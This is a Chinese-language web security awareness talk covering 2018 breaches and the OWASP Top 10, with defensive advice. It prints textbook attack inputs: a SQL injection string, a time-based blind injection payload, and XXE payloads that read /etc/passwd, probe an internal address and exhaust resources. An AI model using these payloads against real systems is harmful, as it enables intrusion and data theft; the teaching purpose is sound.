WebApp 安全入门
2018 網(wǎng)絡(luò)安全事故頻發(fā),從數(shù)據(jù)泄露、信息竊取,到 DDOS 攻擊、勒索病毒,不僅威脅的總數(shù)在增加,威脅態(tài)勢(shì)也變得更加多樣化,攻擊者在不斷開發(fā)新的攻擊途徑的同時(shí),也盡力在攻擊過程中掩蓋其蹤跡,使網(wǎng)絡(luò)安全防護(hù)變得越發(fā)棘手。
未來是萬物互聯(lián)的時(shí)代,唯有把握住網(wǎng)絡(luò)信息安全,才能避免被降維打擊。本次分享,葡萄城技術(shù)團(tuán)隊(duì)將從 WebApp 安全出發(fā),帶你了解更多意想不到的安全防護(hù)措施與黑客攻擊手段,助你提高網(wǎng)絡(luò)安全意識(shí),最終學(xué)會(huì)如何提高風(fēng)險(xiǎn)意識(shí),避免遭受網(wǎng)絡(luò)安全攻擊。
本場(chǎng) Chat 核心內(nèi)容:
- 第一節(jié):WebApp 安全風(fēng)險(xiǎn)和防護(hù)(PPT Page 1~7)
- WebApp 安全現(xiàn)狀分析
- 2018 網(wǎng)絡(luò)安全事故
- 黑客如何攻擊系統(tǒng)
- OWASP Top 10 簡(jiǎn)介
- 第二節(jié):WebApp 風(fēng)險(xiǎn)講解(上)(PPT Page 8~10)
- 注入
- 失效的身份認(rèn)證
- 敏感數(shù)據(jù)泄露
- 第三節(jié):WebApp 風(fēng)險(xiǎn)講解(下)(PPT Page 11~18)
- XML 外部實(shí)體
- 其他常見的風(fēng)險(xiǎn)
- 我們能做什么
2018 網(wǎng)絡(luò)安全事故頻發(fā),從數(shù)據(jù)泄露、信息竊取,到 DDOS 攻擊、勒索病毒,不僅威脅的總數(shù)在增加,威脅態(tài)勢(shì)也變得更加多樣化,攻擊者在不斷開發(fā)新的攻擊途徑的同時(shí),也盡力在攻擊過程中掩蓋其蹤跡,使網(wǎng)絡(luò)安全防護(hù)變得越發(fā)棘手。
未來是萬物互聯(lián)的時(shí)代,唯有把握住網(wǎng)絡(luò)信息安全,才能避免被降維打擊。本場(chǎng) Chat,我們特邀 Carl 作為分享嘉賓,于葡萄城技術(shù)公開課上,以 WebApp 安全防護(hù)為出發(fā)點(diǎn),帶你了解更多意想不到的安全防護(hù)措施與黑客攻擊手段,助你提高網(wǎng)絡(luò)安全意識(shí),最終學(xué)會(huì)如何規(guī)避風(fēng)險(xiǎn)隱患,避免遭受網(wǎng)絡(luò)安全攻擊。
下面開始展開正文。
開闊眼界 – 提升安全意識(shí)
提升網(wǎng)絡(luò)安全意識(shí)對(duì)項(xiàng)目團(tuán)隊(duì)中的每一個(gè)角色、每一個(gè)流程都至關(guān)重要。同時(shí),也只有具備了網(wǎng)絡(luò)安全意識(shí),才愿意為數(shù)據(jù)安全投入更多的時(shí)間和精力。下面,我將為您展示部分 2018 年發(fā)生的網(wǎng)絡(luò)安全事故,這些事故造成的損失,也許遠(yuǎn)遠(yuǎn)超出你的想象。
2018 網(wǎng)絡(luò)安全事故回顧
Facebook 數(shù)據(jù)泄露事件: 2018年9月,Facebook 因安全系統(tǒng)漏洞而遭受黑客攻擊,導(dǎo)致約 5000 萬用戶信息泄露。
上市公司數(shù)據(jù)堂,涉嫌侵犯數(shù)百億條公民個(gè)人信息: 大數(shù)據(jù)行業(yè)知名企業(yè)數(shù)據(jù)堂在短短 8 個(gè)月的時(shí)間內(nèi),日均泄露公民個(gè)人信息 1.3 億余條,累計(jì)傳輸數(shù)據(jù)壓縮后約為 4000GB。
圓通 10 億快遞信息泄露: 10 億條用戶數(shù)據(jù)遭公開售賣,這些數(shù)據(jù)包括寄(收)件人姓名、電話、地址等隱私信息。
萬豪酒店 5 億用戶開房信息泄露: 萬豪酒店客房預(yù)訂數(shù)據(jù)庫遭黑客入侵,約5億名客戶的信息可能被泄露。
更多數(shù)據(jù)泄露事件
勒索病毒事件
DDoS 攻擊
年度重大漏洞盤點(diǎn)
知己知彼 – 黑客如何攻擊系統(tǒng)
一名黑客攻擊網(wǎng)站的典型步驟,主要分為以下 5 步:
黑客不是手動(dòng)測(cè)試系統(tǒng)漏洞的,而是有很多強(qiáng)大的工具可以自動(dòng)化完成。黑客不是利用系統(tǒng)中的一個(gè)漏洞,而是要利用一系列,不同層次的漏洞。黑客經(jīng)常批量攻擊一系列網(wǎng)站,選取其中漏洞較多,較好利用的重點(diǎn)突破
十大安全風(fēng)險(xiǎn)(OWASP Top 10)
不安全的軟件正在破壞著我們的金融、醫(yī)療、國防、能源和其他重要的基礎(chǔ)設(shè)施。隨著我們的軟件變得愈加龐大、復(fù)雜且相互關(guān)聯(lián),實(shí)現(xiàn)應(yīng)用程序安全的難度也呈指數(shù)級(jí)增長(zhǎng)。而現(xiàn)代軟件開發(fā)過程的飛速發(fā)展,使得快速、準(zhǔn)確地識(shí)別軟件安全風(fēng)險(xiǎn)變得愈發(fā)的重要,OWASP 組織也因此誕生。
OWASP,即開放式 Web 應(yīng)用程序安全項(xiàng)目(Open Web Application Security Project),作為一個(gè)開源的、非盈利的全球性安全組織,它提供了有關(guān)計(jì)算機(jī)和互聯(lián)網(wǎng)應(yīng)用程序的公正、實(shí)際、有成本效益的信息,其目的是協(xié)助個(gè)人、企業(yè)和機(jī)構(gòu)來發(fā)現(xiàn)并使用可信賴的軟件。
OWASP Top 10 是由 OWASP 組織公布,最具權(quán)威性的“10 項(xiàng)最嚴(yán)重的 Web 應(yīng)用程序安全風(fēng)險(xiǎn)預(yù)警”,其就安全問題從威脅性和脆弱性兩方面進(jìn)行可能性分析,并結(jié)合技術(shù)和商業(yè)影響的分析結(jié)果,輸出公認(rèn)的、最嚴(yán)重的十類 Web 應(yīng)用安全風(fēng)險(xiǎn)排名。OWASP Top 10 旨在針對(duì)上述風(fēng)險(xiǎn),提出解決方案,幫助 IT 公司和開發(fā)團(tuán)隊(duì)規(guī)范應(yīng)用程序開發(fā)流程和測(cè)試流程,提高 Web 產(chǎn)品的安全性。
OWASP 敦促所有公司在其組織內(nèi)采用 OWASP Top 10 文檔,并確保其 Web 應(yīng)用程序最大限度地降低這些風(fēng)險(xiǎn),采用 OWASP Top 10 可能是將企業(yè)內(nèi)的軟件開發(fā)文化轉(zhuǎn)變?yōu)樯砂踩a文化最行之有效的一步。
OWASP Top 10 包括
OWASP Top 10 應(yīng)用安全風(fēng)險(xiǎn)詳解
《OWASP Top 10》的目的在于為廣大企業(yè)確定一組最嚴(yán)重的風(fēng)險(xiǎn)項(xiàng)目。對(duì)于其中的每一項(xiàng)風(fēng)險(xiǎn),我們將使用基于 OWASP 風(fēng)險(xiǎn)等級(jí)排序的評(píng)級(jí)方案,為您提供關(guān)于漏洞普遍性、可檢測(cè)性、業(yè)務(wù)/技術(shù)影響等信息。
注入
將不受信任的數(shù)據(jù)作為命令或查詢的一部分發(fā)送到解析器時(shí),會(huì)產(chǎn)生諸如 SQL 注入、NoSQL 注入、OS 注入和 LDAP 注入等注入缺陷。攻擊者的惡意數(shù)據(jù)可以誘使解析器在沒有適當(dāng)授權(quán)的情況下執(zhí)行非預(yù)期命令或訪問數(shù)據(jù)。
可利用性:容易幾乎任何數(shù)據(jù)源都能成為注入載體,包括環(huán)境變量、所有類型的用戶、參數(shù)、外部和內(nèi)部Web服務(wù)。當(dāng)攻擊者可以向解釋器發(fā)送惡意數(shù)據(jù)時(shí),注入漏洞便可產(chǎn)生。
普遍性:常見注入漏洞十分普遍,尤其是在遺留代碼中。注入漏洞通常能在 SQL、LDAP、XPath 或是 NoSQL 查詢語句、OS 命令、XML 解析器、SMTP 包頭、表達(dá)式語句及 ORM 查詢語句中找到。
可檢測(cè)性:易注入漏洞很容易通過代碼審查發(fā)現(xiàn)。掃描器和模糊測(cè)試工具可以幫助攻擊者找到這些漏洞。
技術(shù)影響:嚴(yán)重注入能導(dǎo)致數(shù)據(jù)丟失、破壞或泄露給無授權(quán)方、缺乏可審計(jì)性或是拒絕服務(wù)。注入有時(shí)甚至能導(dǎo)致主機(jī)被完全接管。
業(yè)務(wù)影響:未知您的應(yīng)用和數(shù)據(jù)需要受到保護(hù),以避免對(duì)業(yè)務(wù)造成影響。
自查:您的應(yīng)用程序脆弱嗎?
當(dāng)您的應(yīng)用有如下情況時(shí),是脆弱且易受到攻擊的:
一些常見的注入,包括:SQL、OS 命令、ORM、LDAP 和表達(dá)式語言(EL)或 OGNL 注入。
所有編譯器的原理都是相似的,因此 Code Review 是目前為止最有效的檢測(cè)應(yīng)用程序注入風(fēng)險(xiǎn)的辦法之一。當(dāng)然,您也可以對(duì)代碼中所有參數(shù)、字段、頭、cookie、JSON 和 XML 數(shù)據(jù)輸入進(jìn)行 DAST 掃描,并將 SAST 和 DAST 工具添加到 CI/CD 進(jìn)程中,以便在項(xiàng)目部署前對(duì)現(xiàn)有代碼或新代碼進(jìn)行注入檢測(cè)。
如何防止注入?
防止注入漏洞需要將數(shù)據(jù)與命令語句、查詢語句分隔開來:
攻擊案例場(chǎng)景
場(chǎng)景#1:應(yīng)用程序在脆弱的 SQL 語句結(jié)構(gòu)中使用不可信數(shù)據(jù):String query = "SELECT * FROM accounts WHEREcustID='" + request.getParameter("id") + "'“;
場(chǎng)景#2:框架應(yīng)用的盲目信任,也可能導(dǎo)致查詢語句的漏洞。(例如:Hibernate查詢語言(HQL)):Query HQLQuery = session.createQuery("FROM accountsWHERE custID='" + request.getParameter("id") + "'");
在這兩個(gè)案例中,攻擊者在瀏覽器中將“id”參數(shù)的值修改成: ’or’1’=’1。例如:http://example.com/app/accountView?id=' or '1'='1這樣查詢語句的意義就變成了從 accounts 表中返回所有記錄。
SQL 盲注
SQL 盲注,就是在 SQL 語句注入后且成功執(zhí)行時(shí),執(zhí)行的結(jié)果不能回顯到前端頁面。此時(shí),我們需要利用一些方法進(jìn)行判斷或者嘗試,這個(gè)過程稱之為盲注。
盲注一般分為三類:
一、基于布爾的盲注
基于布爾的盲注通常使用邏輯判斷推測(cè)獲取的數(shù)據(jù),通過給定條件,服務(wù)器返回真或假。使用二分法或者正則表達(dá)式等方法即可縮小判斷的范圍。
二、基于時(shí)間的盲注
主要是利用延時(shí)或者執(zhí)行的時(shí)間來判斷。
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件為假,執(zhí)行 sleep
因?yàn)檠訒r(shí)會(huì)受到網(wǎng)絡(luò)環(huán)境的影響,因此這種方法不是很可靠。
三、基于報(bào)錯(cuò)的盲注
構(gòu)造 payload 讓信息通過錯(cuò)誤提示顯示。
count(*) 和 rand(0) 和 group by 報(bào)錯(cuò)
rand(0) 是偽隨機(jī)數(shù)列,01101100。產(chǎn)生報(bào)錯(cuò)的原因是因?yàn)?rand(0) 并不是一個(gè)定值,相當(dāng)于一個(gè)變量。使用 group by 時(shí),會(huì)建立一張?zhí)摂M表,字段為 key 和 count(*)。執(zhí)行插入操作,第一次返回 0,但虛擬表中沒有這個(gè)項(xiàng),數(shù)據(jù)庫會(huì)認(rèn)為需要插入這個(gè)項(xiàng),但數(shù)據(jù)庫并沒有記錄下來,因此,會(huì)再次執(zhí)行 rand(0) 試圖獲取,但此時(shí)獲取的是第二個(gè)數(shù)。依次類推,當(dāng)數(shù)據(jù)庫查詢發(fā)現(xiàn) 0 這個(gè)項(xiàng)不存在,執(zhí)行插入操作時(shí), rand(0) 返回值為 1,但是 1 已經(jīng)存在,這時(shí)插入已經(jīng)存在的項(xiàng)就會(huì)報(bào)錯(cuò)。
WAF 繞過
之所以要談到 WAF 的常見特征,是為了更好的了解 WAF 的運(yùn)行機(jī)制,以便增加繞過 WAF 的機(jī)會(huì)。總體來說,WAF(Web Application Firewall)具有以下四個(gè)方面的功能:
WAF過濾機(jī)制:
繞過 WAF 的方法:
從目前能找到的資料來看,繞過WAF的技術(shù)主要分為9類,包含:
身份認(rèn)證失效
通過錯(cuò)誤地使用 Web 應(yīng)用程序的身份認(rèn)證和會(huì)話管理功能,攻擊者能夠破譯密碼、密鑰和會(huì)話令牌,或者利用其它開發(fā)缺陷來暫時(shí)性或永久性地冒充管理員的身份。
可利用性:容易攻擊者可以輕松獲取數(shù)百萬條有效用戶名和密碼組合,包括證書、默認(rèn)的賬戶管理列表、自動(dòng)的暴力破解和字典攻擊工具,以及高級(jí)的 GPU 破解工具。會(huì)話管理可以很容易地被利用,尤其是沒有過期的會(huì)話密匙。
普遍性:常見大多數(shù)管理系統(tǒng)的設(shè)計(jì)和實(shí)現(xiàn),都存在身份認(rèn)證失效的問題。會(huì)話管理是身份驗(yàn)證和訪問控制的基礎(chǔ),并且存在于整個(gè)應(yīng)用程序的進(jìn)程中。
可檢測(cè)性:一般攻擊者通常使用指南手冊(cè)來檢測(cè)失效的身份驗(yàn)證。除此之外,也會(huì)關(guān)注密碼轉(zhuǎn)儲(chǔ)、字典攻擊,或者在類似釣魚、社會(huì)工程攻擊后,發(fā)現(xiàn)失效的身份認(rèn)證。
技術(shù)影響:嚴(yán)重攻擊者只需訪問幾個(gè)賬戶,或者一個(gè)管理員賬戶就可以破壞我們的系統(tǒng)。根據(jù)應(yīng)用程序業(yè)務(wù)場(chǎng)景的不同,可能會(huì)導(dǎo)致洗錢、欺詐、用戶身份盜竊、泄露法律保護(hù)的敏感信息等嚴(yán)重違法行為。
自查:您的應(yīng)用程序脆弱嗎?
確認(rèn)用戶身份、身份驗(yàn)證和會(huì)話管理非常重要,這些措施可用于將惡意的、未經(jīng)身份驗(yàn)證的攻擊者與授權(quán)用戶進(jìn)行分離。如果您的應(yīng)用程序存在如下問題,那么可能存在身份驗(yàn)證失效漏洞:
如何防止?
攻擊案例場(chǎng)景
場(chǎng)景#1:最常見的攻擊方式——憑證填充,使用已知密碼的列表。如果應(yīng)用程序不限制身份驗(yàn)證嘗試次數(shù),則可以將應(yīng)用程序用作密碼 oracle, 以確定憑證是否有效。
場(chǎng)景#2:大多數(shù)身份驗(yàn)證攻擊都是由于密碼作為唯一的認(rèn)證因素。
場(chǎng)景#3:應(yīng)用會(huì)話超時(shí)設(shè)置不正確。用戶使用公共計(jì)算機(jī)訪問應(yīng)用程序時(shí),直接關(guān)閉瀏覽器選項(xiàng)卡就離開,而不是選擇“注銷”。
憑據(jù)填充(撞庫)
撞庫,是黑客通過收集互聯(lián)網(wǎng)已泄露的用戶和密碼信息,生成對(duì)應(yīng)的字典表,嘗試批量登陸其他網(wǎng)站后,得到一系列可以登錄的用戶。很多用戶在不同網(wǎng)站使用的是相同的賬號(hào)和密碼,因此黑客可以通過獲取用戶在 A 網(wǎng)站的賬戶從而嘗試登錄 B 網(wǎng)站,這就是撞庫攻擊。
撞庫可以通過數(shù)據(jù)庫安全防護(hù)技術(shù)解決,數(shù)據(jù)庫安全技術(shù)包括:數(shù)據(jù)庫漏掃、數(shù)據(jù)庫加密、數(shù)據(jù)庫防火墻、數(shù)據(jù)脫敏、數(shù)據(jù)庫安全審計(jì)系統(tǒng)。
撞庫并不神秘,事實(shí)上,它正被廣泛的使用。舉例而言,根據(jù) Shape Security 的報(bào)告,“攻擊者們一旦鎖定了一個(gè)財(cái)富 100 強(qiáng)的 B2C(企業(yè)對(duì)消費(fèi)者)網(wǎng)站,就會(huì)在一個(gè)星期內(nèi)使用遍布世界各地的代理服務(wù)器,對(duì)其進(jìn)行超過五百萬次登錄嘗試。” 雪上加霜的是,被竊取的憑證也并不難找。黑客們會(huì)為了找樂子或?qū)で髶P(yáng)名立萬的機(jī)會(huì)把憑證散播到網(wǎng)上。當(dāng)黑客們?cè)趹{證黑市(比如 Cracking-dot-org、 Crackingking-dot-org 以及 Crackingseal-dot-io)做生意時(shí),這些名聲會(huì)派上大用場(chǎng)。
多因素驗(yàn)證
多因素驗(yàn)證(Multi-factor authentication,縮寫為 MFA),又譯多因子認(rèn)證、多因素認(rèn)證,是一種計(jì)算機(jī)訪問控制的方法,用戶要通過兩種以上的認(rèn)證機(jī)制之后,才能得到授權(quán),使用計(jì)算機(jī)資源。例如,用戶要輸入 PIN 碼,插入銀行卡,最后再經(jīng)指紋比對(duì),通過這三種認(rèn)證方式,才能獲得授權(quán)。這種認(rèn)證方式可以提高安全性。
敏感數(shù)據(jù)泄露
許多 Web 應(yīng)用程序和 API 都無法正確保護(hù)敏感數(shù)據(jù),例如:財(cái)務(wù)數(shù)據(jù)、醫(yī)療數(shù)據(jù)和PII數(shù)據(jù)。攻擊者可以通過竊取或修改未加密的數(shù)據(jù)來實(shí)施信用卡詐騙、身份盜竊或其他犯罪行為。未加密的敏感數(shù)據(jù)容易受到破壞,因此,我們需要對(duì)敏感數(shù)據(jù)加密,這些數(shù)據(jù)包括:傳輸過程中的數(shù)據(jù)、存儲(chǔ)的數(shù)據(jù)以及瀏覽器的交互數(shù)據(jù)。
可利用性:一般攻擊者并非直接攻擊,而是在傳輸過程中、從客戶端(例如:瀏覽器)竊取密鑰、發(fā)起中間人攻擊,或從服務(wù)器端直接竊取明文數(shù)據(jù)。
普遍性:廣泛這是最常見,也是最具影響力的攻擊手段。在數(shù)據(jù)加密的過程中,由于不安全的密鑰生成、管理以及使用弱加密算法、弱協(xié)議和弱密碼(未加鹽的哈希算法或弱哈希算法),導(dǎo)致數(shù)據(jù)泄露事件頻發(fā)。
可檢測(cè)性:一般在服務(wù)器端,檢測(cè)傳輸過程中的數(shù)據(jù)弱點(diǎn)很容易,但檢測(cè)存儲(chǔ)數(shù)據(jù)的弱點(diǎn)卻異常困難。
技術(shù)影響:嚴(yán)重敏感數(shù)據(jù)泄露事件造成的影響是非常嚴(yán)重的,因?yàn)檫@些數(shù)據(jù)通常包含了很多個(gè)人信息(PII),例如:醫(yī)療記錄、認(rèn)證憑證、個(gè)人隱私、信用卡信息等。這些信息受到相關(guān)法律和條例的保護(hù),例如:歐盟《通用數(shù)據(jù)保護(hù)條例》(GDPR)和地方隱私保護(hù)法律。
自查:您的應(yīng)用程序脆弱嗎?
首先你需要確認(rèn)哪些數(shù)據(jù)(包含:傳輸過程中的數(shù)據(jù)、存儲(chǔ)數(shù)據(jù))是敏感數(shù)據(jù)。例如:密碼、信用卡卡號(hào)、醫(yī)療記錄、個(gè)人信息等,這些數(shù)據(jù)應(yīng)該被加密,請(qǐng)Review:
如何防止?
對(duì)一些需要加密的敏感數(shù)據(jù),應(yīng)該做到以下幾點(diǎn):
攻擊案例場(chǎng)景
場(chǎng)景 #1:假設(shè)一個(gè)應(yīng)用程序使用自動(dòng)化的數(shù)據(jù)加密系統(tǒng)加密了信用卡信息,并存儲(chǔ)在數(shù)據(jù)庫中,當(dāng)數(shù)據(jù)被檢索時(shí)自動(dòng)解密。這會(huì)導(dǎo)致 SQL 注入漏洞能夠以明文形式獲得所有信用卡卡號(hào)。
場(chǎng)景 #2:一個(gè)網(wǎng)站上沒有使用或強(qiáng)制使用 TLS,或者僅使用弱加密算法。攻擊者通過監(jiān)測(cè)網(wǎng)絡(luò)流量(如:不安全的無線網(wǎng)絡(luò)),將網(wǎng)絡(luò)連接從 HTTPS 降級(jí)到 HTTP,就可以截取請(qǐng)求并竊取用戶會(huì)話 cookie。然后,攻擊者可以復(fù)制用戶 cookie 并成功劫持經(jīng)過認(rèn)證的用戶會(huì)話、訪問或修改用戶個(gè)人信息。除此之外,攻擊者還可以更改所有傳輸過程中的數(shù)據(jù),如:轉(zhuǎn)款的接收者。
場(chǎng)景 #3:密碼數(shù)據(jù)庫使用未加鹽的哈希算法或弱哈希算法去存儲(chǔ)密碼,此時(shí),一個(gè)文件上傳漏洞可使黑客能夠獲取密碼文件,而這些未加鹽的哈希密碼通過彩虹表暴力破解方式即可快速破解。
各國應(yīng)對(duì)措施
日本個(gè)人信息保護(hù)法
近年來,因信息、通信技術(shù)的發(fā)展,企業(yè)需要收集大量個(gè)人信息,用以提供準(zhǔn)確且迅速的服務(wù)。個(gè)人信息的利用,無論是對(duì)現(xiàn)今的商業(yè)活動(dòng),還是對(duì)國民生活都變得不可或缺。但是,另一方面,由于處理個(gè)人信息狀況不當(dāng),導(dǎo)致個(gè)人權(quán)利和利益受到損害的可能性也在增大。在日本,包含企業(yè)和政府等團(tuán)體的組織內(nèi)部,泄露的個(gè)人信息數(shù)量累積超過了1000萬件。于是,鑒于規(guī)范處理個(gè)人信息,明確國家及地方公共團(tuán)體的職責(zé),確保個(gè)人信息有效利用等目的,日本于2005年4月1日起頒布《個(gè)人信息保護(hù)法》。
歐盟《通用數(shù)據(jù)保護(hù)條例》(GDPR)
歐盟《通用數(shù)據(jù)保護(hù)條例》(General Data Protection Regulation,簡(jiǎn)稱GDPR),其前身是歐盟在1995年制定的《計(jì)算機(jī)數(shù)據(jù)保護(hù)法》,該法明確規(guī)定:
設(shè)計(jì)安全賬號(hào)系統(tǒng)的正確姿勢(shì)
數(shù)據(jù)安全防范的方法簡(jiǎn)單來說,當(dāng)數(shù)據(jù)從用戶鍵盤敲出的那一刻,到服務(wù)器后臺(tái)存儲(chǔ)過程中,都需保持正確的姿勢(shì)。如:
用正確的姿勢(shì)保存密碼a) 低級(jí)錯(cuò)誤:明文保存密碼b) 低級(jí)錯(cuò)誤:可逆加密密碼c) 錯(cuò)誤方法:md5 加密密碼d) 正確方法:加鹽 hash 保存密碼
用正確的姿勢(shì)傳輸數(shù)據(jù)a) 驗(yàn)證服務(wù)端的合法性b) 確保通信的安全
用正確的姿勢(shì)加密敏感信息
用正確的姿勢(shì)對(duì)數(shù)據(jù)進(jìn)行備份和監(jiān)控
XML 外部實(shí)體(XXE)
許多較早的或配置錯(cuò)誤的 XML 處理器評(píng)估了 XML 文件中的外部實(shí)體引用。攻擊者可以利用外部實(shí)體竊取使用 URI 文件處理器的內(nèi)部文件和共享文件、監(jiān)聽內(nèi)部掃描端口、執(zhí)行遠(yuǎn)程代碼和實(shí)施拒絕服務(wù)攻擊。
可利用性:一般如果攻擊者可以上傳 XML 文檔或在 XML 文檔中添加惡意內(nèi)容(如,易受攻擊的代碼、依賴項(xiàng)或集成),他們就能夠攻擊含有缺陷的 XML 處理器。
普遍性:常見一般來說,許多舊的 XML 處理器能夠?qū)ν獠繉?shí)體、XML 進(jìn)程中被引用和評(píng)估的 URI 進(jìn)行規(guī)范。SAST 工具可以通過檢查依賴項(xiàng)和安全配置來發(fā)現(xiàn) XXE 缺陷。DAST 工具需要額外的手動(dòng)步驟來檢測(cè)和利用 XXE 缺陷。
技術(shù)影響:嚴(yán)重XXE 缺陷可用于提取數(shù)據(jù)、執(zhí)行遠(yuǎn)程服務(wù)器請(qǐng)求、掃描內(nèi)部系統(tǒng)、執(zhí)行拒絕服務(wù)攻擊和其他攻擊。
自查:您的應(yīng)用程序脆弱嗎?
應(yīng)用程序,特別是基于 XML 的 Web 服務(wù),可能在以下方面容易受到攻擊:
如何防止?
培訓(xùn)開發(fā)人員的安全意識(shí),是識(shí)別和減少 XXE 的關(guān)鍵,除此之外,還需要:
攻擊案例場(chǎng)景
目前,已經(jīng)有大量XXE缺陷被發(fā)現(xiàn)并公開,這些缺陷包括上傳可被接受的惡意XML文件、嵌入式設(shè)備的 XXE缺陷及深嵌套的依賴項(xiàng)等。
場(chǎng)景 #1:攻擊者嘗試從服務(wù)端提取數(shù)據(jù):
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>場(chǎng)景 #2:攻擊者通過將上面的實(shí)體行更改為以下內(nèi)容來探測(cè)服務(wù)器的專用網(wǎng)絡(luò):
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>場(chǎng)景 #3:攻擊者通過惡意文件執(zhí)行拒絕服務(wù)攻擊:
<!ENTITY xxe SYSTEM "file:///dev/random" >]>XML基本定義
XML是用于標(biāo)記電子文件使其具有結(jié)構(gòu)性的標(biāo)記語言,可以用來標(biāo)記數(shù)據(jù)、定義數(shù)據(jù)類型,是一種允許用戶對(duì)自己的標(biāo)記語言進(jìn)行定義的源語言。XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義(可選)、文檔元素。 圖片來自網(wǎng)絡(luò)
XML由3個(gè)部分構(gòu)成,分別是:文檔類型定義(Document Type Definition,DTD),即XML的布局語言;可擴(kuò)展的樣式語言(Extensible Style Language,XSL),即XML的樣式表語言;以及可擴(kuò)展鏈接語言(Extensible Link Language,XLL)。
XML 中的實(shí)體分為以下五種:字符實(shí)體,命名實(shí)體,外部實(shí)體,參數(shù)實(shí)體,內(nèi)部實(shí)體,普通實(shí)體和參數(shù)實(shí)體都分為內(nèi)部實(shí)體和外部實(shí)體兩種,外部實(shí)體定義需要加上 SYSTEM關(guān)鍵字,其內(nèi)容是URL所指向的外部文件實(shí)際的內(nèi)容。如果不加SYSTEM關(guān)鍵字,則為內(nèi)部實(shí)體,表示實(shí)體指代內(nèi)容為字符串。
XML外部實(shí)體
XML外部實(shí)體表示外部文件的內(nèi)容,用 SYSTEM 關(guān)鍵詞表示:
<!ENTITY test SYSTEM "1.xml">有些XML文檔包含system標(biāo)識(shí)符定義的“實(shí)體”,這些文檔會(huì)在DOCTYPE頭部標(biāo)簽中呈現(xiàn)。這些定義的“實(shí)體”能夠訪問本地或者遠(yuǎn)程的內(nèi)容。比如,下面的XML文檔示例就包含了XML“實(shí)體”。
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE Anything [<!ENTITY entityex SYSTEM "file:///etc/passwd">]><abc>&entityex;</abc>在上面的代碼中, XML外部實(shí)體 ‘entityex’ 被賦予的值為:file://etc/passwd。在解析XML文檔的過程中,實(shí)體’entityex’的值會(huì)被替換為URI(file://etc/passwd)內(nèi)容值(也就是passwd文件的內(nèi)容)。 關(guān)鍵字’SYSTEM’會(huì)告訴XML解析器,’entityex’實(shí)體的值將從其后的URI中讀取,并把讀取的內(nèi)容替換entityex出現(xiàn)的地方。假如 SYSTEM 后面的內(nèi)容可以被用戶控制,那么用戶就可以隨意替換為其他內(nèi)容,從而讀取服務(wù)器本地文件(file:///etc/passwd)或者遠(yuǎn)程文件(http://www.baidu.com/abc.txt)。
XXE 注入定義
XXE注入(即XML External Entity, XML外部實(shí)體注入)。通過 XML 實(shí)體,”SYSTEM”關(guān)鍵詞導(dǎo)致 XML 解析器可以從本地文件或者遠(yuǎn)程 URI 中讀取數(shù)據(jù)。攻擊者可以通過 XML 實(shí)體傳遞自己構(gòu)造的惡意值,從而引導(dǎo)處理程序解析它。當(dāng)引用外部實(shí)體時(shí),攻擊者通過構(gòu)造惡意內(nèi)容,可讀取任意文件、執(zhí)行系統(tǒng)命令、探測(cè)內(nèi)網(wǎng)端口、攻擊內(nèi)網(wǎng)網(wǎng)站等行為。
XXE 漏洞原理
最常見的 XXE 漏洞類型分為以下三種:
既然 XML 可以從外部讀取 DTD 文件,那我們就自然地想到了如果將路徑換成另一個(gè)文件的路徑,那么服務(wù)器在解析這個(gè) XML 的時(shí)候就會(huì)把那個(gè)文件的內(nèi)容賦值給 SYSTEM 前面的根元素中,只要我們?cè)?XML 中讓前面的根元素的內(nèi)容顯示出來,就可以讀取那個(gè)文件的內(nèi)容了。這就造成了一個(gè)任意文件讀取的漏洞。
假設(shè)我們指向的是一個(gè)內(nèi)網(wǎng)主機(jī)的端口呢?是否會(huì)給出錯(cuò)誤信息,我們是不是可以從錯(cuò)誤信息上來判斷內(nèi)網(wǎng)主機(jī)這個(gè)端口是否開放,這就造成了一個(gè)內(nèi)部端口被探測(cè)的問題。一般來說,服務(wù)器解析 XML 有兩種方式,一種是一次性將整個(gè) XML 加載進(jìn)內(nèi)存中,進(jìn)行解析;另一種是一部分的、“流式”地加載、解析。如果我們遞歸地調(diào)用 XML 定義,一次性調(diào)用巨量的定義,那么服務(wù)器的內(nèi)存就會(huì)被消耗完,造成了拒絕服務(wù)攻擊。
失效的訪問控制
未對(duì)通過身份驗(yàn)證的用戶實(shí)施恰當(dāng)?shù)脑L問控制。攻擊者可以利用這些缺陷,訪問未經(jīng)授權(quán)的功能或數(shù)據(jù),例如:訪問其他用戶的賬戶、查看敏感文件、修改其他用戶的數(shù)據(jù)、更改訪問權(quán)限等。
安全配置錯(cuò)誤
安全配置錯(cuò)誤是最常見的安全問題,這通常是由于不安全的默認(rèn)配置、不完整的臨時(shí)配置、開源云存儲(chǔ)、錯(cuò)誤的 HTTP 標(biāo)頭配置以及包含敏感信息的詳細(xì)錯(cuò)誤信息所造成的。因此,我們不僅需要對(duì)所有的操作系統(tǒng)、框架、庫和應(yīng)用程序進(jìn)行安全配置,而且必須及時(shí)修補(bǔ)和升級(jí)它們。
跨站腳本(XSS)
當(dāng)應(yīng)用程序的新網(wǎng)頁中包含不受信任的、未經(jīng)驗(yàn)證或轉(zhuǎn)義的數(shù)據(jù)時(shí),或者使用可以創(chuàng)建 HTML 或 JavaScript 的瀏覽器 API 更新現(xiàn)有網(wǎng)頁時(shí),就會(huì)出現(xiàn) XSS 缺陷。XSS 讓攻擊者能夠在受害者的瀏覽器中執(zhí)行腳本,并劫持用戶會(huì)話、破壞網(wǎng)站或?qū)⒂脩糁囟ㄏ虻綈阂庹军c(diǎn)。
可利用性:容易自動(dòng)化工具能夠檢測(cè)并利用所有的三種 XSS 形式,并且存放在便于攻擊者利用的漏洞中。
普遍性:廣泛XSS 是 OWASP Top10 中第二普遍的安全問題,存在于近三分之二的應(yīng)用程序中。
可檢測(cè)性:容易自動(dòng)化工具能發(fā)現(xiàn) XSS 問題,尤其是一些成熟的技術(shù)框架中,如:PHP、J2EE 或 JSP、ASP.NET 等。
技術(shù)影響:中等XSS 對(duì)于反射和 DOM 的影響是中等的,而對(duì)于存儲(chǔ)的 XSS,XSS 的影響更為嚴(yán)重,譬如在受到攻擊的瀏覽器上執(zhí)行遠(yuǎn)程代碼,如:竊取憑證和會(huì)話或傳遞惡意軟件等。
自查:您的應(yīng)用程序脆弱嗎?
